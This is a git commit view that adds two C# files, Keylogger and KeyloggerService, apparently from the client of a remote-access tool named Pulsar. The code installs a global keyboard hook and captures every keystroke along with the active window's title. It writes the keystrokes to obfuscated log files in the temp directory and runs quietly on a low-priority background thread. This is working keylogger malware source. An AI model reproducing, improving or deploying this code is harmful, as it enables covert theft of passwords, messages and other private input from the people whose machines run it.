initial commit
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+272
View File
@@ -0,0 +1,272 @@
using Gma.System.MouseKeyHook;
using Pulsar.Client.Extensions;
using Pulsar.Client.Helper;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Timers;
using System.Windows.Forms;
using Timer = System.Timers.Timer;
namespace Pulsar.Client.Logging
{
public class Keylogger : IDisposable
{
private readonly long _maxLogFileSize;
private readonly Timer _flushTimer;
private readonly object _syncLock = new object();
private readonly StringBuilder _currentBuffer = new StringBuilder();
private readonly IKeyboardMouseEvents _events;
private string _currentWindow = string.Empty;
private DateTime _lastWindowChange = DateTime.UtcNow;
private string _logFilePath;
private bool _isFirstWrite = true;
private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
public bool IsDisposed { get; private set; }
public Keylogger(double flushInterval, long maxLogFileSize)
{
_maxLogFileSize = maxLogFileSize;
_events = Hook.GlobalEvents();
_logFilePath = GetLogFilePath();
_flushTimer = new Timer(flushInterval);
_flushTimer.Elapsed += TimerElapsed;
_flushTimer.AutoReset = true;
}
public void Start()
{
Subscribe();
_flushTimer.Start();
}
private void Subscribe()
{
_events.KeyDown += OnKeyDown;
_events.KeyPress += OnKeyPress;
}
private void Unsubscribe()
{
_events.KeyDown -= OnKeyDown;
_events.KeyPress -= OnKeyPress;
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";
lock (_syncLock)
{
bool windowChanged = newWindow != _currentWindow;
bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;
// Check if window changed significantly
if (windowChanged && enoughTimePassed)
{
_currentWindow = newWindow;
_lastWindowChange = DateTime.UtcNow;
// Start a fresh line for the new window
if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
_currentBuffer.AppendLine();
// Append window header cleanly
_currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
}
HandleSpecialKey(e);
}
}
private void HandleSpecialKey(KeyEventArgs e)
{
switch (e.KeyCode)
{
case Keys.Enter:
_currentBuffer.AppendLine();
break;
case Keys.Back:
HandleBackspace();
break;
case Keys.Space:
_currentBuffer.Append(' ');
break;
case Keys.Tab:
_currentBuffer.Append("\t");
break;
case Keys.Escape:
_currentBuffer.Append("[Esc]");
break;
case Keys.Delete:
_currentBuffer.Append("[Del]");
break;
case Keys.Up:
case Keys.Down:
case Keys.Left:
case Keys.Right:
// Ignore arrow keys to reduce noise
break;
case Keys.LControlKey:
case Keys.RControlKey:
case Keys.LShiftKey:
case Keys.RShiftKey:
case Keys.LMenu:
case Keys.RMenu:
case Keys.LWin:
case Keys.RWin:
// Ignore modifier keys alone
break;
default:
// Log function keys
if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
{
_currentBuffer.Append($"[{e.KeyCode}]");
}
break;
}
}
private void HandleBackspace()
{
if (_currentBuffer.Length > 0)
{
// Remove last character if it's not part of a window header
char lastChar = _currentBuffer[_currentBuffer.Length - 1];
if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
{
_currentBuffer.Length--;
}
}
}
private void OnKeyPress(object sender, KeyPressEventArgs e)
{
lock (_syncLock)
{
if (!char.IsControl(e.KeyChar))
_currentBuffer.Append(e.KeyChar);
else if (e.KeyChar == '\r') // Enter key
_currentBuffer.AppendLine();
}
}
private void TimerElapsed(object sender, ElapsedEventArgs e)
{
try
{
FlushToFile();
}
catch (Exception ex)
{
Debug.WriteLine($"Keylogger flush error: {ex.Message}");
}
}
private void FlushToFile()
{
lock (_syncLock)
{
if (_currentBuffer.Length == 0) return;
string contentToWrite = _currentBuffer.ToString();
_currentBuffer.Clear();
WriteToFile(contentToWrite);
}
}
private void WriteToFile(string content)
{
if (string.IsNullOrWhiteSpace(content)) return;
try
{
// Write using the obfuscated log helper (handles compression + framing)
FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);
// Check file size
FileInfo info = new FileInfo(_logFilePath);
if (info.Length > _maxLogFileSize)
{
RotateLogFile();
}
_isFirstWrite = false; // mark that weve written at least once
}
catch (Exception ex)
{
Debug.WriteLine($"Log file write error: {ex.Message}");
}
}
private void RotateLogFile()
{
try
{
string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
string basePath = Path.Combine(Path.GetTempPath(), baseName);
string newFilePath = basePath + ".txt";
int counter = 1;
while (File.Exists(newFilePath))
{
newFilePath = $"{basePath}_{counter:00}.txt";
counter++;
}
_logFilePath = newFilePath;
_isFirstWrite = true;
}
catch (Exception ex)
{
Debug.WriteLine($"Log rotation error: {ex.Message}");
}
}
private string GetLogFilePath()
{
return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
}
public void FlushImmediately()
{
FlushToFile();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (IsDisposed) return;
if (disposing)
{
try
{
FlushToFile();
Unsubscribe();
_flushTimer.Stop();
_flushTimer.Dispose();
_events.Dispose();
_currentBuffer.Clear();
}
catch (Exception ex)
{
Debug.WriteLine($"Dispose error: {ex.Message}");
}
}
IsDisposed = true;
}
}
}
+289
View File
@@ -0,0 +1,289 @@
using System;
using System.ComponentModel;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client.Logging
{
/// <summary>
/// Provides a service to run the keylogger within its own message loop.
/// </summary>
public class KeyloggerService : IDisposable
{
private readonly Thread _msgLoopThread;
private ApplicationContext _msgLoop;
private Keylogger _keylogger;
private readonly ManualResetEventSlim _initialized = new ManualResetEventSlim(false);
private readonly ManualResetEventSlim _shutdownComplete = new ManualResetEventSlim(false);
private readonly CancellationTokenSource _cancellationTokenSource = new CancellationTokenSource();
private bool _disposed;
private volatile bool _isRunning;
public KeyloggerService()
{
_msgLoopThread = new Thread(MessageLoopThread)
{
IsBackground = true,
Name = "Keylogger Message Loop Thread",
Priority = ThreadPriority.BelowNormal // Reduce impact on system
};
}
/// <summary>
/// Gets whether the keylogger service is currently running.
/// </summary>
public bool IsRunning => _isRunning && !_disposed;
/// <summary>
/// Event raised when the keylogger service encounters an error.
/// </summary>
public event EventHandler<Exception> ErrorOccurred;
/// <summary>
/// Event raised when the keylogger service starts successfully.
/// </summary>
public event EventHandler Started;
/// <summary>
/// Event raised when the keylogger service stops.
/// </summary>
public event EventHandler Stopped;
private void MessageLoopThread()
{
var threadId = Thread.CurrentThread.ManagedThreadId;
try
{
// Set up the message loop
SynchronizationContext.SetSynchronizationContext(new WindowsFormsSynchronizationContext());
_msgLoop = new ApplicationContext();
// OPTIMIZED: 3-second flush for live viewing + 10MB file size
_keylogger = new Keylogger(6000, 10 * 1024 * 1024);
_keylogger.Start();
_isRunning = true;
_initialized.Set();
// Notify start
OnStarted();
// Run the message loop with cancellation support
RunMessageLoopWithCancellation();
_isRunning = false;
OnStopped();
}
catch (Exception ex)
{
_isRunning = false;
OnErrorOccurred(ex);
}
finally
{
_shutdownComplete.Set();
}
}
private void RunMessageLoopWithCancellation()
{
while (!_cancellationTokenSource.Token.IsCancellationRequested)
{
// Process all Windows messages in the queue
Application.DoEvents();
// OPTIMIZED: 25ms sleep for better CPU usage
//Thread.Sleep(25);
}
// Properly exit the application context
_msgLoop?.ExitThread();
}
/// <summary>
/// Starts the keylogger service and waits until it's ready.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for initialization</param>
/// <returns>True if started successfully, false if timed out</returns>
public bool Start(int timeoutMs = 10000)
{
if (_disposed)
throw new ObjectDisposedException(nameof(KeyloggerService));
if (_isRunning)
return true;
if (!_msgLoopThread.IsAlive)
{
_msgLoopThread.Start();
if (_initialized.Wait(timeoutMs))
{
return _isRunning;
}
else
{
throw new TimeoutException("Keylogger service failed to initialize within the specified timeout.");
}
}
return _isRunning;
}
/// <summary>
/// Starts the keylogger service asynchronously.
/// </summary>
public async Task<bool> StartAsync(int timeoutMs = 10000)
{
return await Task.Run(() => Start(timeoutMs));
}
/// <summary>
/// Stops the keylogger service.
/// </summary>
/// <param name="timeoutMs">Timeout in milliseconds to wait for shutdown</param>
/// <returns>True if stopped successfully, false if timed out</returns>
public bool Stop(int timeoutMs = 5000)
{
if (_disposed || !_isRunning)
return true;
try
{
_cancellationTokenSource.Cancel();
// Signal the message loop to exit
_msgLoop?.ExitThread();
if (_shutdownComplete.Wait(timeoutMs))
{
return true;
}
else
{
OnErrorOccurred(new TimeoutException("Keylogger service failed to stop within the specified timeout."));
return false;
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
return false;
}
}
/// <summary>
/// Forces an immediate flush of the keylogger buffer.
/// </summary>
public void Flush()
{
if (_isRunning && _keylogger != null)
{
try
{
// Use Invoke if we're on a different thread
if (_msgLoop != null && _msgLoop.MainForm != null && !_msgLoop.MainForm.InvokeRequired)
{
_keylogger.FlushImmediately();
}
else
{
_msgLoop?.MainForm?.Invoke((MethodInvoker)(() => _keylogger.FlushImmediately()));
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
}
}
/// <summary>
/// Restarts the keylogger service.
/// </summary>
public async Task<bool> RestartAsync(int shutdownTimeoutMs = 5000, int startupTimeoutMs = 10000)
{
if (Stop(shutdownTimeoutMs))
{
// Small delay to ensure clean shutdown
await Task.Delay(1000);
return await StartAsync(startupTimeoutMs);
}
return false;
}
protected virtual void OnErrorOccurred(Exception ex)
{
ErrorOccurred?.Invoke(this, ex);
}
protected virtual void OnStarted()
{
Started?.Invoke(this, EventArgs.Empty);
}
protected virtual void OnStopped()
{
Stopped?.Invoke(this, EventArgs.Empty);
}
protected virtual void Dispose(bool disposing)
{
if (_disposed)
return;
if (disposing)
{
// Signal cancellation first
_cancellationTokenSource.Cancel();
try
{
// Stop the service if it's running
if (_isRunning)
{
Stop(3000);
}
// Wait for thread to complete
if (_msgLoopThread.IsAlive && !_msgLoopThread.Join(2000))
{
_msgLoopThread.Interrupt();
}
}
catch (Exception ex)
{
OnErrorOccurred(ex);
}
finally
{
// Dispose resources
_keylogger?.Dispose();
_keylogger = null;
_msgLoop?.Dispose();
_msgLoop = null;
_cancellationTokenSource?.Dispose();
_initialized?.Dispose();
_shutdownComplete?.Dispose();
}
}
_disposed = true;
}
~KeyloggerService()
{
Dispose(false);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
}